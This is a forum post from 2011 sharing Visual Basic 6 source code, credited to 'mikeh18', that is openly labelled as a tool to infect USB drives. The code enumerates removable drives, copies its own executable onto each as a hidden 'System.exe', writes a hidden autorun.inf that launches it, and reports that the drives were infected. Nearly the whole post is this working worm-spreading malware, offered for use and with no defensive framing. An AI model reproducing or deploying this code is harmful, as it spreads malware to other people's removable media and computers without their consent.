Nytro Posted June 15, 2011 Report Posted June 15, 2011 [VB6] Infect USB Author: mikeh18Hello all,Here's some modified code i made for detect + infect USB drives using autorunSub Main()On Error Resume Next'Object and StringsDim WMIService As Object, USBDrives As Object, USBFound As Object, USB As String, USBCount As String'ObjectsSet WMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2") 'Open WMIServiceSet USBDrives = WMIService.ExecQuery("Select * from Win32_LogicalDisk") 'Look For Computer Drives drivesFor Each USBFound In USBDrives 'Look for all our drivesIf USBFound.DriveType = 2 Then 'If drivetype is USBUSB = USBFound.Name 'Set USB as New USB-nameUSBCount = USBCount & " - " & USBFound.Name 'Add USB name to USB-countEnd IfIf USB = "" Then GoTo volgende 'If its not an USB-Drive then goto NextFileCopy App.Path & "\" & App.EXEName & ".exe", USB & "System.exe" 'Copy File to New USB DriveOpen USB & "autorun.inf" For Output As #1 'Create a Autorun filePrint #1, "[autorun]" 'Put Right Settings in itPrint #1, "open=System.exe" 'Put Our exe-name in ItClose #1 'Close the Autorun FileSetAttr USB & "System.exe", vbHidden ' vbHidden 'Hide our Exe FileSetAttr USB & "autorun.inf", vbHidden 'Hide the Autorun Filevolgende: 'NextNext 'Search for more USB drivesMsgBox "USB Drives: " & USB & vbNewLine & "Successfull Invected!", vbInformation, "USB Infect" 'Msg When DoneEndEnd SubMikeh18 Sursa: [VB6] Infect USB Quote